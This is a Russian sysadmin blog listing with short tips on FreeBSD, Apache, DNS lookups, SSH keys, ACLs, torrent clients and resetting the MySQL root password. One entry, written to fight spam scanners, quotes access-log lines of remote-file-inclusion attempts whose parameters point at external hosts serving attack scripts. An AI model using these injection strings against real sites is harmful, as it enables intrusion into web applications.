=

1 Менеджер пакетов pkgng FreeBSD 8.4 (pkg_* -> pkg)

Переход на пакетный менеджер pkgng

На старом сервере при установке пакета увидел сообщение -
pkg_install EOL is scheduled for 2014-09-01. Please consider migrating to pkgng
--> решил обновить пакетный менеджер.

Добавлено : Пн Сен 10, 2012 14:20

Автор : surg30n

Просмотров : 1693

2 XAMMP на Windows 7 x64

Принимает соединения, но не посылает данные на локалхосте.
В браузере после долгих размышлений завершается ошибкой "невозможно соединиться с сервером".

В логах апача:

[Wed Oct 05 13:14:26 2011] [error] (OS 10038)Сделана попытка выполнить операцию на объекте, не являющемся сокетом.  : Child 8916: Encountered too many errors accepting client connections. Possible causes: dynamic address renewal, or incompatible VPN or firewall software. Try using the Win32DisableAcceptEx directive.


Лечим:

Добавляем/раскоменчиваем строку в conf\extra\httpd-mpm.conf

<IfModule mpm_winnt_module>
    Win32DisableAcceptEx
</IfModule>

Добавлено : Ср Окт 05, 2011 12:22

Автор : surg30n

Просмотров : 3320

3 Проверка записей днс сервера

Проверки могут быть осуществлены командами host, dig, nslookup.

host -n -t mx skillz.ru [8.8.8.8]
 
# узнаем mx запись
# последним параметромможно указать через какой сервер имен производить запрос
# skillz.ru mail is handled by 0 skillz.ru.
 
dig @8.8.8.8 mx skillz.ru +short  
 
# запрос mx записи в коротком формате через сервер 8.8.8.8
# 0 skillz.ru.
 
dig +nocmd skillz.ru mx +noall +answer                                                                        
 
# узнаем mx запись
# skillz.ru.              14199   IN      MX      0 skillz.ru.
 
dig skillz.ru mx +short  
 
# 0 skillz.ru.

Добавлено : Пт Мар 12, 2010 1:24

Автор : surg30n

Просмотров : 5113

4 Установки и синхронизация времени freebsd

Для установки даты/времени используем команды

#год месяц день часы минуты секунды
date yymmddhhmmss
 
#установка времени без модификации даты часы:минуты
date hhmm
 
#пример
date 0501121627
date 1627


Чтобы будильник не отставал, нужно локальное время синхронизировать с удаленным эталонным сервером времени.

Можно сделать это вручную

/usr/sbin/ntpdate -u ntp.psn.ru

Добавлено : Чт Фев 11, 2010 21:50

Автор : surg30n

Просмотров : 17476

5 this version of PCRE is not compiled with PCRE_UTF8 support

Я вот офигеваю от ошибки на новоиспеченном сервере:

var_dump(preg_match('~строка~Uu', 'test', $m));
>> Compilation failed: this version of PCRE is not compiled with PCRE_UTF8 support at offset 0


Собиралось как обычно - из портов/пакаджей.
Оказалось по-русски похуистично по-умолчанию не включена поддержка юникода в бандлед сборке pcre.
Конфигов в новом апаче-пхп для подключения внешней либы нет.

Для исправления ситуации придется пересобрать php.

Добавлено : Пн Авг 31, 2009 19:58

Автор : surg30n

Просмотров : 6034

6 Перезапуск сетевых сервисов из ssh (удаленной консоли)

Необходимо на удаленной машине сконфигурить например:
- новые алиасы для сетевой
- изменить роуты

Для того, чтобы изменения вступили в силу без перезагрузки или потери соединения ssh сессии,
поступаем следующим образом.

Добавлено : Ср Июл 01, 2009 14:07

Автор : j4ck

Просмотров : 10578

7 Авторизация SSH по ключу

При создании ключа для пользователя столкнулся с проблемой -
полученный ключ не подходил при коннекте из putty.
Покопавшись в старых записках, вспомнил, что путти хитер и не кушает raw-ключи от ssh-keygen.
Итак...

Добавлено : Пн Апр 06, 2009 20:26

Автор : surg30n

Просмотров : 15067

9 Консольные torrent клиенты

Рассмотрим ctorrent и rtorrent.
Оба доступны из портов в /usr/ports/net-p2p.


1) ctorrent

Запускаем ctorrent -s "./путь" "torrent"
Начнет закачивать торрент в папку "./путь".

2) rtorrent

Более продвинутый клиент. Использует ncurses - а это значит имеет псевдо оконный интерфейс.
Запускаем клиент, попадаем в окно, в котором нужно что то делать :)

^q - Выход
up, down, left, right
^P, ^N, ^B, ^F - Выбор опций, экранов

a, s, d - ускорить закачку на 1/5/50 KB.
z, x, c - уменьшить скорость закачки 1/5/50 KB.
Верхний регистр (A, S, D, Z, X, C) - делают тоже самое для аплоада

1 - 7 - сменить вид
^S - начать загрузку
^D - остановить
^O - изменить папку назначения
+, - - приоритет загрузки
backspace - добавить торрент для закачки
l - лог
U - удалить торрент
u - показать информацию по загрузке
o - показать трекеры. пробелом выбираем
p - информация о пире
t, T - запрос трекера
k - дисконнект пира

Добавлено : Пт Окт 31, 2008 3:05

Автор : surg30n

Просмотров : 14703

13 Борьба со сканнерами-спаммерами

Последнее время в логах сайта огромное количество подобных запросов.
Избавляемся от супостатов подручными средствами.

...
69.73.189.182 - - [05/Oct/2008:03:31:29 +0400] "GET /page/5/errors.php?error=http://www.ezy-hosts.com//temp/errors??? HTTP/1.1" 200 626 "-" "libwww-perl/5.79"
72.249.95.130 - - [05/Oct/2008:03:32:15 +0400] "GET /galleria.html.php?mosConfig_absolute_path=http://ctg.su/files/bodo.txt??? HTTP/1.1" 200 630 "-" "libwww-perl/5.805"
62.44.82.234 - - [05/Oct/2008:03:26:25 +0400] "GET /errors.php?error=http://www.stichtingopvangratten.nl/cache/response.txt??? HTTP/1.1" 200 639 "-" "libwww-perl/5.803"
61.80.90.1 - - [05/Oct/2008:03:19:38 +0400] "GET /errors.php?error=http://oursoultvxq.com/bbs/data/vip/id2.txt??? HTTP/1.1" 200 620 "-" "libwww-perl/5.79"
61.80.90.1 - - [05/Oct/2008:03:19:38 +0400] "GET /bans/page/6/errors.php?error=http://oursoultvxq.com/bbs/data/vip/id2.txt??? HTTP/1.1" 200 632 "-" "libwww-perl/5.79"
...


Добавлено : Пн Окт 06, 2008 20:26

Автор : surg30n

Просмотров : 5152

14 Mod_expires И mod_deflate

Кэшируем изображения и сжимаем странички апачем.

ExpiresActive On
#day
ExpiresByType text/css "access plus 7 day"
ExpiresByType text/javascript "access plus 7 day"
#month
ExpiresByType image/gif A2592000
ExpiresByType image/jpg A2592000
ExpiresByType image/png A2592000
 
DeflateBufferSize 16384
DeflateCompressionLevel 5
 
AddOutputFilterByType DEFLATE text/html text/plain text/xml text/javascript text/css text/xml application/xhtml+xml

Добавлено : Сб Авг 30, 2008 21:05

Автор : surg30n

Просмотров : 6154

15 FreeBSD ACLs

Ситуация такая: есть папка /www (web:www 751)

Необходимо предоставить фтп доступ к папке еще несокльким пользователям из группы seo_users
Включаем аклы, собираем профтпд с поддержкой аклов.

Собственно устанавливаем сами аклы на файлы:
cd /www
    find . -type f -exec setfacl -m g:seo_users:rw-,mask::rwx {} \;
    find . -type d -exec setfacl -d -m u::rwx,g::rwx,o::---,mask::rw-,g:seo_users:rwx {} \;
    find . -type d -exec setfacl -m g:seo_users:rw- {} \;


А вопрос вот в чем:

Когда права для группы стоят rw, то аклы работают, если убрать -w то effective mask становится запрещающей
и доступа у пользователя к файлу уже нет.

Возможно ли как то отключить привязку права группы <--> маска? Почему chmod группы меняет права доступов acl?

Добавлено : Вт Авг 05, 2008 23:23

Автор : surg30n

Просмотров : 6559

16 Сброс пароля root в MySQL, Postgresql, FreeBSD

Добавляем в начале файла /usr/local/etc/rc.d/mysql-server
строчку:

mysql_args="--init-file=/root/reset"

Далее, создаем файл /root/reset с содержимым

UPDATE mysql.user SET Password=PASSWORD('password') WHERE User='root';
GRANT ALL PRIVILEGES ON *.* TO root@localhost IDENTIFIED BY PASSWORD PASSWORD('password') WITH GRANT OPTION;
FLUSH PRIVILEGES;


Рестартим mysql - /usr/local/etc/rc.d/mysql-server restart
Mysql выполнит указанный скрипт при запуске и установит новый пароль для рута.

Не забудте закомментить добавленную строку.

Добавлено : Чт Июл 24, 2008 19:06

Автор : surg30n

Просмотров : 13919

Поиск по сайту